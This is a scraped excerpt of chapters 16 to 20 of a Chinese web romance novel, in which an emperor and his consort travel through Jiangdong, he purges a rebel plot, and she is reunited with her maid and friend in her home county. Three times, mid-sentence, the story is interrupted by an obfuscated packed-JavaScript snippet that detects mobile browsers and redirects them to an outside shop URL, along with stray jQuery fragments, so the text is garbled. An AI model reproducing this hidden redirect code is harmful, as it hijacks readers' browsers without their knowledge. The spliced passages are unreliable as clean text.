“惩治贪官,理应如此!”李姓书生抚掌一笑。 蓝衫书生却心有疑虑:“什么样的贪官要圣上亲自出马?”他觉得,这里头恐怕没有那么简单。 杀鸡焉用牛刀。 焉闻玉跟在魏鄞修身旁,见过一次娄龙山,威赫老将,即便上了年岁,依然气势迫人,但凡换个顶不住事儿的小皇帝,估计都压不住他。 他不仅有能耐有兵权,从资历辈分上还高出一截,浸淫多年,从旁人提及他时的反应便能窥见一二。 不过显然魏鄞修也不是寻常人,由不得一个大将军权倾朝野,有吕相爷令恩侯等多方制衡,不至于一势独大。 至于这个胡家,来头也不简单,最近魏鄞修正在查他们。 胡家出过一个太妃,先帝驾崩后,太妃被挪去行宫颐养天年,而她娘家胡氏盘踞西北,不在京城。 胡家小姐跟江东毕家大公子天南地北的,也不知是如何结成的亲事。 这么拐弯抹角的,成为娄龙山的外孙媳妇,是巧合么? 焉闻玉不懂盘根错节的世家关系,那两个书生也是因为认识大公子,所以议论了几句。 回身瞧见有女客进来,立即就不说了。 巧得很,焉闻玉几人进了玉石铺子,外面就淅淅沥沥下起雨来。 “这可怎么办?”染菊犯了愁,马车没跟着,他们也没带伞。 都说江东夏日多雨,看来确有其事,一声不响就下了。 蓝衫书生正要与同窗离开,他们都带着伞,见状朝着焉闻玉拱手道:“这位姑娘若不嫌弃,可借小生的伞一用。” 焉闻玉有些意外,抬眸看他:“借给我?” 他们萍水相逢,怕不是有借无还。 蓝衫书生被她黑润的眼睛一看,面色有细微的不自然,还是坚持把伞送出去:“姑娘不必客气。” 染菊挡在跟前,笑道:“多谢这位公子好意,但我们夫人用不上。” “夫人……”书生这才注意到她盘的发髻,这般脸嫩的小姑娘,已经嫁作人妇了。 他自诩饱读诗书,哪好意思继续纠缠,匆匆拱手作揖,撑了伞往外走。 在店门口,撞上前来接人的魏鄞修,虽不相识,但那黑沉沉的目光落下来,有如实质。 不言不语,便叫人心悸。 蓝衫书生跑了,焉闻玉打量门口的魏鄞修,问道:“你怎么来了?” 她才出来没多久呢。 “为夫不来,怎么知道夫人不缺人献殷勤?” 他语调清冷,听在焉闻玉耳朵里却阴阳怪气的,一准又是想无端找茬。 17.心眼子 焉闻玉在心里悄悄把魏鄞修评为脾性古怪、不好相与的那一类人,她这会儿有求于他,自然不跟他一般见识。 回身示意掌柜的将托盘呈上来,焉闻玉道:“老爷来得正好,看看这些玉佩可否喜欢。” 掌柜的一看他们这前拥后簇的派头,就知遇上了大主顾,满脸堆笑的要给一一介绍。 魏鄞修不看也不听,面无表情道:“你问我?那与我自己买的有何区别。” 染菊小声提醒:“夫人,老爷的意思是让你给他挑一个。” 是么? 焉闻玉看了看他,又低头打量托盘,抿着唇瓣道:“本就是我要替老爷挑选,只是还没来得及。” 她前脚进来,店外下雨,他紧接着就到了。 焉闻玉细细看了一圈,她不曾给男子挑选过物件,以前父亲生辰,也是奶娘建议的准备了文房四宝。 这店里的玉饰比不上皇宫里进贡的样样精品,但胜在款式新颖别致。 她一眼相中了一枚蛇首环形玉佩,温润滢泽,首尾相连。 焉闻玉将它拿起来给魏鄞修看:“这个可以么?” 他看着呢,小姑娘十指纤纤,捏着玉佩的手指仿佛被打了一层柔和光晕,相互映衬,赏心悦目。 魏鄞修道:“尚可。” “那就选它了。”焉闻玉知道他眼光高,还怕他挑剔上了。 连忙让掌柜的包起来,防止反悔。 魏鄞修没有挑玉佩的毛病,只道:“夫人莫不是就拿一个光秃秃的玉佩送我?” “嗯?”焉闻玉圆溜溜的眼睛对上他的,“那不然……多挑一个?” 显然她这小脑袋瓜意会不到他的言外之意,非得事事挑明了说,魏鄞修俯身凑近,与她平视,道:“玉饰不编络子如何佩戴?” “这……”焉闻玉听懂了,左右是要给她找点活做,“待我打好络子,再把它给你。” 后边的方岳看得一阵牙酸,他个大老粗都瞧明白了,陛下主动问祝妃索要玉佩,还得是人亲手编织的,他还端着架子,啧。 这一路下来,眼看祝妃凡事并不主动,堪称愚钝,可陛下偏生喜欢这种不会来事儿的,难怪以前那些贵女献殷勤都没能入眼。 果然么,上赶着不是买卖! ******* 马车就停在首饰铺子外,不需等雨停便能回去。 一行人回到郡守府邸,魏鄞修一头扎进了书房,他事务缠身,并没有那么悠闲去街上闲逛,方岳都不知晓他为何要走这一趟。 以迅雷不及掩耳之势拿下毕彦常,定罪问斩,明日午时就要行刑。 雷霆手段才足以瓦解泗州凝结已久的局势,魏鄞修要查的,是他们暗地里一些筹谋。 而非百姓以为的抓贪官那么简单。 他的皇叔勤王被砍了一只胳膊后,在王府养伤日日哭骂,骂魏鄞修骂太后,甚至是骂先皇。 勤王已是不成气候,叫嚣再凶都无人理会,就那么养着他便是。 在魏鄞修死去的前世,螳螂捕蝉黄雀在后,勤王登基也坐不稳皇位,暗地里有人图谋江山,引发内乱,还惹来邻国趁机发兵。 战火四起,百姓颠沛流离。 如今他既然没死,当然不能放任这等局面,国之蠹虫死不足惜,暗中野心勃勃的家伙,也别想活。 魏鄞修疑上了他的皇弟珞王,只是珞王想来安分,性情温和,且孝敬母后…… 前世,藏匿多年的丁嬷嬷一朝叛变,残忍杀害了后宫里的太后,她老人家痛失儿子后满头华发,最终倒在血泊中。 这是魏鄞修亲眼所见的一个画面,所以哪怕不想打草惊蛇,依然先行处理掉了丁嬷嬷。 同时着手调查其背后缘由。 倘若是珞王,尽管为了皇位与皇叔相争便是,何必对太后下手? 好在此次前来江东,魏鄞修并非一无所获,胡家露出来了。 先帝驾崩后,西北胡氏就极为低调,半点不惹眼。 若非胡家子与毕家女的姻亲,魏鄞修也注意不到他。 西北路途遥远,魏鄞修不方便过去,只能先让晗啸派人留意。 待回宫后,寻个什么节庆日,召回觐见,一探底细。 那吃斋念佛多年的胡太妃,也可查查。 焉闻玉回屋后,没有忙着给玉佩编络子,让染菊备下笔墨,先给冉月棠写一封信。 知夏是刘家仆役,如今不知状况如何,她若写信也怕递不到她手中。 不如写给祯儿,请她过府代为问询,好歹来者是客,刘家总不至于把冉家人赶出去。 焉闻玉挂心之事有三,一是知夏安好,二是奶娘无恙,只要性命无虞,其他也不多求。 第三,则是焉家的状况,即便他们未曾来接,那也是她身生父母,她想知晓一个具体情况。 往日里不敢挂嘴上念叨,提笔写来方知延绵不绝,有那么多的话想说,絮絮叨叨,一整页都填不下了。 焉闻玉写完后删删减减,尽量不多废话,重新誊抄在一张信纸上。 她没有特意言明自己的去处,宫中处境复杂,她并不是外人眼中那个光鲜亮丽受尽宠爱的妃子。 焉闻玉没有多余的打算,报个平安,知晓对方平安,再把她手里的银钱给出去,也就够了。 冉月棠家里富足,倒是不缺这个,但对焉家以及知夏她们,想必能帮助不少。 她自幼是奶娘带大,知夏一同陪伴成长,孟氏的关爱也有,不过她铆足劲头与谢姨娘斗,又一心想要生个儿子…… 在焉闻玉心里,奶娘的情分不比孟氏低,虽是主仆,可十年如一日的关怀岂能作假。 她只想给奶娘一个安稳的老年生活,希望留下的金叶子能派上用处。 焉闻玉写完了信,就差一个能替她办事的人了。 此事无论如何都越不过魏鄞修去,需要得到他的恩典,才能成行。 只需要他一句话,就能解去她内心之焦,就不知他是否愿意…… 他是高高在上的帝王,有着处理不完的大事,个顶个的重要,反观她这些个牵扯仆役的小事,对比起来属实微不足道。 焉闻玉深知自己没有丁点的话语权,才会这样踌躇。 她如今身在深宫,总不能还像以前那般无用,不懂得盘算……倘若魏鄞修不肯帮忙,那她就威胁他……不给他好好做棋子了。 焉闻玉预想了一堆,待晚间魏鄞修回来,当即开了口。 许是她把事情想得复杂了些,这人面无表情的听完她所言诉求,无明显反应。 只淡淡道:“你特意给朕买礼物,就为了这个?” 焉闻玉被人揭穿心思,磕磕巴巴道:“臣妾的心意自然是真的……”不是要给他编络子嘛……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233036|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 魏鄞修不置可否,朝她伸出手:“信拿过来,朕瞧瞧。” “陛下要看我的信?”她下意识捂紧了。 “怎么,看不得?”他眉尾微扬。 “也不是……”焉闻玉没写任何见不得人的东西,想了想,乖乖递交上去:“那你看吧。” 魏鄞修一手接过,查看别人的信件是理直气壮。 他半垂眼帘,先是留意到落款:“绵绵?” “……”乳名从他嘴里出来,用低沉的嗓音念一遍,无端叫人起鸡皮疙瘩,焉闻玉忍了忍。 魏鄞修早就查过她的来历,这会儿看了信并无任何惊奇之处。 他抬手一揽,把焉闻玉拉到近前来,“当真是心肠柔软,绵绵。” 自己都被卖了,还牵挂着其他人呢? 倘若不是太后的人看中她,她会被卖去何方? 云团似的小绵羊,被一口吞了都不带吐骨头的……不知为何,魏鄞修光是设想她被卖到其他男子手里,便眉头蹙起。 想把那劳什子刘家给施以杖刑。 “陛下能借我个人么?”焉闻玉一双圆眼望着他。 魏鄞修眉骨优越,鼻峰高直,不声不响时宛如一副俊美的画卷,叫人捉摸不透。 她不像一开始时那么怕他,甚至偶尔敢在心里腹诽他。 此时求助于他,愈发放软了态度,皇帝的人出入宫门方便,办事还牢靠,她太需要了。 殊不知,魏鄞修那日在客栈就决定回宫后要拨人给她,四个宫女能伺候主子,但其他事情以及见识等方面有所欠缺,要么给她安排两个经验老道的嬷嬷,或是公公。 像是这种出宫传信的小事,只需焉闻玉一句吩咐就能办成了。 宫里小太监宫女偶尔也会托人寄东西……但显然焉闻玉不知晓这些。 她这个后宫独一份恩宠的祝妃,当真是半点威风都不会耍。 “绵绵怎的笨拙成这样,嗯?”魏鄞修伸手捻上她软糯的脸颊。 “?”焉闻玉无缘无故就被骂了,心里半是莫名,半是不服气。 想躲开他的捉弄,偏又被拉了回去。 魏鄞修故意轻掐一把,触感极佳,低头在她耳畔冷声道:“以笨拙换取朕的怜惜,你成功了。” “什么?”焉闻玉绝不想承认自己蠢笨,可她确实没明白怎就得了这么个评价。 哪有怜惜,她怎么没看到?陛下非要一口一个乳名的唤她么…… 魏鄞修自己心机深沉,刹那间心思百转。 倘若易地而处,他是焉闻玉,他会借用自己的美貌上位,身为棋子只要有利用价值,便等同握有筹谋,凡事有了商榷的余地。 世上从来不存在绝路,端看如何落子,棋子未必不能成为执棋手。 小姑娘不擅长这些,她甚至不知道,哪怕是一个虚假的宠妃,狐假虎威就能替她办成许多事,处置区区一个刘家都绰绰有余。 她时常闷闷不乐,自己躲着偷偷掉眼泪,就是因为心里这么点烦心事么? 魏鄞修说她笨拙,可不觉得冤枉了她,但看她那小模样,还挺不服气。 “怎么,绵绵要咬朕一口?” 他不仅不收手,还生出一肚子坏心眼,把修长的指节往她柔软的唇边贴去,“你咬了,朕赦你无罪。” “……”焉闻玉很少生气,可他真的好气人! 18.捂嘴 自从被魏鄞修知晓了乳名,祝妃从此就不是祝妃了,他开口闭口直呼绵绵。 焉闻玉心里有点小意见,也是不敢说。 好在这人没有吝啬到不给安排人的地步,他答应了她的请求。 焉闻玉松了口气,心中大石尚未完全落地,至少不再高高吊起。 泗州事了,他们就能返程回京了。 不过看皇帝的架势似乎不急着走。 他调遣了军队过来协助办事,没让方岳闲着,叫他在江东各县剿匪。 起因是一个老妪听闻圣驾降临泗州,一路巍巍颤颤找到郡守府邸告御状,声称乡里常年受到山匪侵扰。 皇帝陛下爱民如子,老妇人都求到门前来了,即便是区区剿匪,他也得亲自过问。 于是一声令下,方岳就闲不下来了,把周边山川给踏了个遍。 起初他心里没少嘀咕,剿匪这种事情轮得着他一个亲卫指挥使自己出马么? 这泗州城守难道无人了? 可是圣上旨意谁敢不从,尤其是魏鄞修现在越发的说一不二,不按常理出牌,忤逆不得丝毫。 方岳不辞辛苦领命而去,没成想,剿匪初有成效,就在泗州境内是大山里,查出一窝匪徒。 这伙人已成气候,足足两三百人,崖底而居,房屋林立,他们手中还有铁器! 方岳当然是不能放过这群贼寇,立即攻破擒拿。 谁知事情并不简单,在崖底洞穴深处一搜查,竟然发现窝藏了不少兵器。 方岳当职多年,又是常年跟刀剑打交道的武将,一上手就察觉不对劲。 铁矿有限,大部分都掌握在朝廷手里,民间刀具农具只用去一小部分。 民用之物的精细硬实程度当然比不上军营里的武器,可他手里这些,沉甸甸的皆是精铁,寻常人得到一把就了不得了。 一伙子山贼流寇,乌合之众,竟然有一堆精良武器?他们从何得来那么多铁? 方岳也不是傻子,一拍脑门,大汗都冒出来了。 什么老妪告状,陛下善心大发,他分明是早已对江东起疑了啊! 种种看似巧合太多,就不可能是巧合! 此时非同小可,方岳也不是个大嘴巴,勒令手底下人谁都不许声张,只更加尽心尽责,把这剿匪任务给好好完成了。 但凡在山里逮着的,甭管男女老少,一个都不会轻放,通通带回去给陛下定夺发落。 这么一遭动静下来,泗州彻底翻了天。 参与背后谋划的涉事者,起初还以为皇帝是身怀隐疾,且是重疾,带着他的药引子祝妃到江东寻访神医。 但眼看着一件件一桩桩事情发生,皆是无意,皆是凑巧,偏偏导致了最坏的结果。 他们这才幡然醒悟,陛下以障眼法麻痹了他们,分明是直冲着江东去的! 谋事隐匿,究竟是从何走漏风声? 心怀鬼胎者,人人自危。 毕彦常被当众斩首于西市口,其余相关人员也纷纷落马,有一个算一个,魏鄞修杀起来毫不手软。 山里窝藏的匪徒,要么处死,要么打散收编,彻底不成气候,烟消云散。 江东就是大晟王朝一块即将化脓的恶瘤,挖除隐患,魏鄞修的心情还算不错。 便是来日有人起兵谋反,与邻国夹击,他也能多腾出点手脚来应付。 ******* 泗州之行结束了,御驾来得突然,走得也挺迅速。 新任命的泗州郡守尚未抵达,魏鄞修已经踏上返京之路。 焉闻玉大包小包的,不仅给听兰几人带上小礼物,得知能够与冉月棠联系,又出去几趟,买了不少心仪之物。 她没忘记要给魏鄞修的玉佩,说到做到,花了两日时间,亲手给蛇首白玉环编了一条红色络子。 红色流苏内夹两根金丝,红白相称,漂亮又不失贵气。 焉闻玉郑重其事的将玉佩献给魏鄞修。 这人却不肯伸手接,斜坐在马车软靠上,一指自己腰间:“给朕戴上。” “陛下今日的衣裳似乎不太搭?” 他一袭矜贵的暮山紫锦袍,身姿挺拔,窄腰金钩带,与这大红色流苏络子有些冲撞了颜色。 魏鄞修并不在意:“无妨。” 当事人这么说,焉闻玉只能乖乖替他把玉佩给挂上。 她倒是没多想,手里拿着配饰,低头凑近他腰间,这段时日伺候他更衣,没少有肢体接触。 然而这是在官道上,难免会有石头挡道造成颠簸。 玉佩还没挂上去,马车一个摇晃,焉闻玉就一头栽进魏鄞修怀里去了。 “唔!” 她可怜的鼻尖撞上他健硕的胸膛,疼极了。 可为什么他也跟着发出一声闷哼? 焉闻玉慌忙间想爬起来,手掌一挪动才发现手心底下撑着的地方,有什么脉络正在一鼓一鼓地跳动。 被她压个正着,似乎不堪重负。 “松手。”魏鄞修正目光沉沉,脸色不善的盯着她。 她吓了一跳,如同被火舌席卷般迅速缩回手指,惊疑不定,她碰到了什么,在他大腿根处藏着一大坨……? “笨手笨脚——”魏鄞修想发作一顿,只是一抬眼,对上她满脸无辜的懵懂模样,又无法继续了。 “罢了,朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245996|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不与你一般见识。” “你生气了?” 焉闻玉歪了歪脑袋看他,多少觉得自己有点冤枉。 马车颠簸,纯属意外,他怎的这样小题大做? “嗯,生气了。”魏鄞修气的是她压根不懂事情的严重性。 他鲜少有这种吃哑巴亏的时候,好得很。 焉闻玉张了张嘴,拿过一旁她买的葫芦宝扇给他扇风:“臣妾知错,陛下消消气。” “怎么,怕朕不派人替你传信?”魏鄞修瞥她一眼:“晚了。” “这……”焉闻玉哪敢不认错,手里扇得更起劲:“陛下恕罪……” 魏鄞修冷着张俊颜,不疾不徐道:“朕本欲在途经嘉邑县时稍作逗留,如今看来是不需要了。” “什么?”焉闻玉彻底愣住了,没想到他准备给这么大的恩典。 她顿时急了,伸手揪住他的衣袖:“需要!臣妾很需要!” 魏鄞修垂下眼帘,看向自己被揪皱了的袖角,道:“朕金口玉言,说了不去那便不……” 最后一个字没能吐露出来,焉闻玉胆大包天,直接上手捂住他那张无情冰冷的薄唇。 柔嫩温热的掌心,紧紧贴在他唇上。 “陛下在嘉邑县停一下吧,臣妾想回去看看……” 焉闻玉心里着急,眼皮憋得通红,泪水瞬间盈盈聚起:“奶娘侍奉我多年,我不能没有良心,不问她的死活,还有我的爹娘……他们许是不要我了,可是我……我……” 她越说,眼泪越是止不住地往下滚落,无比悲伤。 她有时候会想家,可是离开刘家前发生的一切,早已斩断了她的家。 她所想的家是哪一个呢?情思无处着落……她自己都觉得可怜。 焉闻玉呜呜的哭,手还捂在魏鄞修唇上,被他反手抓住。 “又哭了……”他伸手,食指接住那粉嫩香腮的晶莹泪珠,凑到口中浅尝,还做了点评:“滋味极差。” 尝了她的泪水犹嫌不够,魏鄞修握着她细白的手腕,放在嘴边啃咬一口,唇齿磨着她细嫩的软肉,仿佛威胁。 他力道很轻,但焉闻玉第一次被人用嘴巴衔住手腕,吓得都忘了哭:“你、你干嘛……” “不准哭,”魏鄞修的唇紧贴她肌肤,一启一合热气喷洒:“朕可以考虑在嘉邑县停留。” “好……”焉闻玉努力眨着雾蒙蒙的双眼,把泪水逼回去。 他还是没有放过她的手,似乎在惩罚她胆大妄为的捂嘴之举。 薄唇来回吮磨,松开时,柔嫩腕间已经染上一枚形如桃花瓣的粉色印记。 在那瓷白肌肤上,糜艳夺目。 19.恩典 焉闻玉拿回自己的手腕,藏在衣袖里,隔着袖子用指甲来回挠了挠。 总感觉……那印记有些烫人,有些痒。 她没怎么在意,很快沉浸在即将回到嘉邑县的喜悦当中。 魏鄞修这人颇为可恶,好在言而有信,回京时一声吩咐,当真拐着去了嘉邑县,顺路过去也没多远。 进入京城地界,宫里的训德总管就领着人出来迎接了,也不只是迎接,他还得令办事儿。 训德带着听兰弄梅思竹三人,把焉闻玉的衣裳首饰备好,还打发人去知会了嘉邑县的县令以及焉家冉家刘家人。 这是祝妃要见的,他们必须到场。 虽不是正经的回乡省亲,可陛下亲临,岂有不迎接之理? 如此这般,在焉闻玉尚未抵达时,她的亲友们已经被传令的小太监们给轰炸过一回了。 且不说焉家冉家作何反应,刘家上下是吓得肝胆俱裂,两股战战,只觉大难临头。 他们无论如何不愿相信,可传令的小太监做不得假,就连县太爷都亲自动身了,谁敢开这种天大的玩笑? 这日下午,车马抵达嘉邑县,城门口县太爷带着一群人等候已久。 队伍并不庞大,魏鄞修扮做商人出行,又扮做商人回京,免得劳师动众,帝王仪仗经过每个地方都要官员接待,反倒添麻烦。 此刻到了京城却是没有继续伪装的必要。 训德领着听兰几人迎上去,后面乌泱泱跪了一片,恭迎圣上与祝妃回京。 焉闻玉被搀扶出马车时还不知情,待到众人行礼后起身,她才在人群中发现熟悉的面孔。 ——是知夏和冉月棠,两人泪流满面的看着她,均不敢发出声音。 焉闻玉愣住了,有一瞬间以为自己产生了错觉。 她曾以为是诀别,再也见不到她们了,离开时心如死灰,没成想迎来了转机,果然人活着就会有希望。 魏鄞修没有告诉她这个安排,她尚未进城,就见着了她们。 目光相对,哪里还忍得住,立即便鼻头发酸,两眼汪汪。 “不许哭。”魏鄞修握住她的手腕。 焉闻玉扭头看他,视野模糊,湿漉漉的睫毛都快承托不起泪珠的重量了。 她忍了忍,此时还有官员在场,而她是皇帝的祝妃,当然要点脸面。 听兰连忙过来搀扶,训德也笑着圆场:“娘娘放心,县太爷都安排好了,今晚接风洗尘,娘娘的小姐妹也一同前往。” “好……”焉闻玉一点头。 她进宫那么久,有宫人伺候,有人跪拜,可是直到此刻,她才见识到皇权的威力。 魏鄞修只需要一句话,甚至一个念头,训德公公就能将事情办得体贴周到,不费力,不费心。 把她想见之人都找来了,化解她所有的担忧,而那些她不喜欢的人,也别想逃过,正在担惊受怕寝食难安。 郭县令战战兢兢地把圣上和祝妃迎到自己府里,早已准备好最大的院子接待。 方岳只带几人随行,其余的暂时落脚在客栈。 入秋白昼渐短,用个晚膳的功夫天就黑了。 今天时间不充裕,魏鄞修本想明天再来料理她的家事,然而看焉闻玉那神思不属的模样,要是不给她见见人,只怕要彻夜失眠了。 他索性让训德去传唤,把知夏和冉月棠给叫过来。 训德是会来事儿的,不然也不会嘱咐郭县令留下这二位在客院,方便祝妃接见。 哪怕天色已晚,打个灯笼就过来了。 ******* 一别数月,容颜未改,但再次相聚却仿佛已经过去了许久许久。 知夏和冉月棠得知焉闻玉做了皇帝的妃子,又惊又喜,一见面就要跪下行礼,不伦不类的往地上趴。 焉闻玉把她们都拉了起来,只焦急询问内心关切之事。 知夏在刘家受了不少委屈,只因为她是焉闻玉的贴身丫鬟,刘静花一有不顺便来作践她。 平日被打发去打扫茅厕便罢了,还不给一顿好饭,这才没多久,就饿得面黄肌瘦了。 而冉月棠,她是冉家小姐,伸不了那么长的手去干预旁人家事,她只能偷偷给知夏赠送些银钱改善处境,一边加派人手寻找焉闻玉的下落。 她当然是怎么也找不着,谁都没想到人会被抬进宫中。 至于潘奶娘,她被孟氏在气头下发卖,人牙子对这种得罪主家的仆役皆是不客气,通通往京城外面送。 知夏哭着道:“幸而小姐偷藏的金叶子,使了银钱打听才把人找到,不过病了一场,这会儿是不方便来见小姐了,怕过了病气……” 这是焉闻玉的先见之明,不然一个上年纪的婆子,又不值钱,病着病着就死了也未可知。 “人没事就好……”焉闻玉生怕听闻噩耗,倘若因为她的怯懦,错过了搭救奶娘的时间,那真是会悔恨终身…… 冉月棠气得牙痒痒:“刘家可真是烂透了!好歹是嘉邑县有点脸面的人物,竟是这般行事!我冉家与他们绝交到底!” 冉家和刘家有生意来往,相识多年,她们自幼就是手帕交。 一开始许是年纪小,也没察觉到什么,如今才越发看透了他们的为人。 不过这一切,也不是没有缘由,刘坤致生不出嫡子,年岁越大越偏心他那个庶子。 这才助长了谢姨娘的气焰,激化正室与偏房的矛盾。 后宅不宁,发生了调换二小姐这等大事,居然对谢姨娘轻拿轻放,结果怒火全冲着焉闻玉这个无人庇护的弱女子去了。 冉月棠起初听闻风声,一知半解的,待到焉闻玉被强行送走后,她才了解事情始末,可惜已经太迟了。 孟氏疼爱多年,一朝翻脸,心肠能硬到那个地步,怕是鲜少有人能比。 她但凡有点能耐,就该冲着谢姨娘去撕扯,而不是逮着焉闻玉报复,以此弥补她失察造就的遗憾和怒火。 冉月棠不仅唾骂了孟氏和刘坤致,还跟刘静花大打出手,头发都揪秃了一块。 焉闻玉听她这般描述,忍不住破涕为笑,问道:“那谁打赢了?” “那当然是我!” 冉月棠高高扬起下巴,说谎骗她。 其实那刘静花在乡间长大,不仅体格粗大,力气也大,她跟人厮打招招狠手,把冉月棠的脸都抓破脸,耳朵生生扯到流血。 这会儿她的皮肉伤已经痊愈,吹牛说自己打赢了,又道:“你别看刘静花恨天恨地的,她没什么厉害的,刘坤致本就偏心,更加不喜欢他这个粗蛮的女儿。” 刘静花仗着孟氏和外祖家撑腰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266646|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脾气再大也无用。 拿谢姨娘母子没办法,且郑家的亲事也告吹了。 刘家死活不肯退亲,非要逼着郑慕远迎娶刘静花,郑家傲气得很怎么可能答应,双方僵持不下,闹了多少笑话。 整个嘉邑县都在看刘家的乐子。 焉闻玉不喜欢她们,也懒得幸灾乐祸,她半低着头问起焉家:“我的父母……他们……” 冉月棠和知夏对视一眼,道:“绵绵,你被送走后我找不到你,有去南丘村看过,起初都没敢说你的下落……” 冉家不是什么高门大户,不过她从小家里有钱,很少看到人能穷成那样。 家徒四壁,墙面漏风屋顶漏雨,焉淮山还被打瘸了腿! 再往邻里一询问,他们这家是做什么营生都不顺遂,按理说焉淮山有一手好厨艺,不该如此,可就是霉运缠身。 当然,这不过是乡民的无知之言,实际上就是谢姨娘暗地里捣鬼,不叫焉家富起来,好让刘静花吃尽苦头。 焉闻玉听得心里难受,她们斗法,无辜之人遭殃,怎么能这样可恶? “他的腿被谁打了?” 冉月棠一拍桌面:“不是刘静花就是孟氏!” “刘静花……焉家穷苦,可还是养大了她,她还是人么?”焉闻玉抹着眼角站起来:“我再无用也非要打她不可!” “当然不能放过她!”冉月棠一顿叫好,撸起衣袖就想助阵呐喊,不过……“今天太晚了,她们跑不掉的,且叫她们担惊受怕一晚上!” 知夏也道:“小姐明日就能见到爹娘了,训德公公给请了最好的大夫诊治呢。” 弄梅端了三杯蜜茶进来给她们润喉,轻声道:“再哭这嗓子就该哑了,眼睛也会浮肿,知夏姑娘,娘娘如今身份不一般,你也要改口了。” “是,是祝妃娘娘!”知夏站起身,一把抱住焉闻玉的胳膊:“娘娘,你带我走吧,我不想留在刘家了。” 她从小就是小姐的丫鬟,本以为追随而去是理所应当的事情,但是焉闻玉摇头了。 “我会安排好你们的去处,我有好些赏赐,足以叫你们衣食无忧。” 祝妃听上去威风,但以后怎么样她不知道,可能会被刺杀,被人下毒。 到时是连累知夏一起死么? 焉闻玉在马车上就想好了,留下钱财给爹娘,解他们穷困,把知夏和奶娘都弄到一处去。 如此,她便算是没了牵挂,大家都能活着,不必那么辛苦。 门口的听兰敲门提醒:“娘娘,天色不早了,陛下回来了。” 冉月棠识相的站起来,道:“我们该走了,明日再说。” 焉闻玉还有一肚子话没跟她,既是感激她,又是感动,友人为自己奔走,还去看她爹娘…… 可再多话,也挡不住魏鄞修回房。 魏鄞修特意给她们谈话的空间,回来后看一眼焉闻玉,不出意外,眼睛红得像兔子。 “是不是希望朕别回来了?”他弯腰问她。 焉闻玉缓缓一摇头,她才不笨,即便有大逆不道的想法,也不会往外说呀。 魏鄞修轻哼一声,长臂一搂,环住那截细腰把人抱起,大步走向床榻:“睡觉。” “你……”她吓了一大跳,还没出言抗议,就被丢到床上去了。 20.窘迫 焉闻玉从来不知自己身轻如燕,感觉魏鄞修单手就能托举起她。 猛然落入一个男子怀抱中,虽说很快就撒手放下了,但依然让她的小心脏砰砰蹦个不停。 也不知是被吓的或因为其他? 之前彼此还生疏得很,现在这人可是越发不客气了。 二话不说就伸手抱她,还捏她脸蛋,不懂男女有别么…… 焉闻玉心里有点意见,想劝他注意言行举止,莫要动手动脚失了界线。 可张了张嘴,又认怂不敢说。 她是他的妃子,何来界线之分?不仅不识好歹,万一触怒了魏鄞修,以他小气的性子,指不定拿什么由头来找茬。 焉闻玉抿着殷红的小嘴,悄悄瞅他两眼,抱着手脚缩进床榻内,活像个小受气包。 “有话就说。”魏鄞修坐在外侧,扭头看她。 他嗓音清冷,面上大多时候无甚表情,可焉闻玉总感觉他骨子里就是凶的。 摇头道:“天色不早了,请陛下安歇。” 马上就要回宫了,回去后她自己一张床,也不用大晚上的还顾忌着他。 焉闻玉躺了下去,闭上略显酸胀的眼睛,今天哭得多,思绪也繁杂。 一时半会儿的,还真没有睡意。 她躺在里侧,颇有几分辗转难眠,回过身去看枕畔那人,魏鄞修与她并肩而卧。 凡世间事,抵不过习惯二字,这才多久,她就坦然接受了和男子同寝。 每日清早醒来,没少肢体交缠…… 食不言寝不语,卧室里很安静,纱帐外透入影影绰绰的烛光,勾勒出魏鄞修立体的轮廓。 他闭着眼,五官深刻鼻子高挺,这般不言不语,当真是俊美端方,仪表堂堂。 但这一切仅限于他未睁眼的时候,那双漆黑深邃且难测的眸子,比星辰还夺目,被盯上几息就脊背生寒,谁还会过分留意他的容貌? 若说眼睛是灵魂的窗户,那他的魂魄,想来是个修罗恶鬼。 提起圣上,皆是先惊其威势,感其冷冽,没有被吓破胆,才会慢慢意识到那天人之姿? 焉闻玉百无聊赖,此前没怎么上心,这会儿在寂静黑夜笼罩中,把他瞧了个仔细。 同吃同住最能拉近距离,消弭隔阂,此言果真有理。 换做之前,她哪有胆量盯着魏鄞修看,也没那心思。 “陛下,你睡了么?”细细的嗓音,在黑暗中响起。 魏鄞修不答,焉闻玉知道他没睡。 她趴着半支起上身,凑到他枕头边上,小声道:“陛下,臣妾想给你吹吹枕头风。” 魏鄞修睁开眼,微微侧过脸,视线落在她脸上,问道:“你打算如何吹?” 这可把焉闻玉给问住了,她只知道夫妻同床共枕,容易吹枕头风,具体怎么吹……又没人告诉她。 但是她可以学。 